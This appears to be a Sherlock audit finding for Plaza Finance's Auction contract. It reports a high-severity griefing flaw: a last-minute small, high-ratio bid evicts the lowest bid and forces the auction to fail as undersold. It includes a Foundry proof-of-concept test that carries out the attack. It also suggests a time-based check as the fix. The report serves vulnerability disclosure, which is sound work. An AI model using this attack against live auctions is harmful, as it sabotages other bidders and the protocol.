Narrow Macaroon Goblin
High
Just before the auction ends, if the bidCount equals maxBids and the currentCouponAmount matches the totalBuyCouponAmount, the attacker places a small bid with a higher ratio than the lowest bid. In this scenario, the lowest bid is removed, causing the currentCouponAmount to fall below the totalBuyCouponAmount. As a result, the auction transitions to the State.FAILED_UNDERSOLD state.
https://github.com/sherlock-audit/2024-12-plaza-finance-0xlu7/blob/227f7e7dbd2435cfa1ac940341453c728e323b03/plaza-evm/src/Auction.sol#L157 Before the auction ends, if the new bid's ratio is bigger than lowest, the lowest is removed. https://github.com/sherlock-audit/2024-12-plaza-finance-0xlu7/blob/227f7e7dbd2435cfa1ac940341453c728e323b03/plaza-evm/src/Auction.sol#L340 In this case, the amount of the new bid is less than the lowest bid, causing the currentCouponAmount to become less than the totalBuyCouponAmount.
No response
No response
Just before the auction ends, if the bidCount equals maxBids and the currentCouponAmount matches the totalBuyCouponAmount, the attacker places a small bid with a higher ratio than the lowest bid. In this scenario, the lowest bid is removed, causing the currentCouponAmount to fall below the totalBuyCouponAmount. As a result, the auction transitions to the State.FAILED_UNDERSOLD state.
The auction fails.
function testAttackScenario() public {
//maxBids is 2.
//totalBuyCouponAmount is 5000.
vm.startPrank(alice1); // first
usdc.mint(alice1, 3000 ether);
usdc.approve(address(auction), 3000 ether);
auction.bid(100 ether, 2000 ether); // Legitimate bid
vm.stopPrank();
vm.startPrank(alice2); // second
usdc.mint(alice2, 2000 ether);
usdc.approve(address(auction), 2000 ether);
auction.bid(150 ether, 2000 ether);
vm.stopPrank();
vm.warp(block.timestamp + 12 days - 1 hours); //just before ends
vm.startPrank(attacker); // attacker
usdc.mint(attacker, 30 ether);
usdc.approve(address(auction), 30 ether);
auction.bid(1 ether ,30 ether);
vm.stopPrank();
vm.warp(block.timestamp + 1 days); // auction ends
vm.prank(pool);
auction.endAuction();
assertEq(uint256(auction.state()), uint256(Auction.State.FAILED_UNDERSOLD));
There has to be a validation based on time.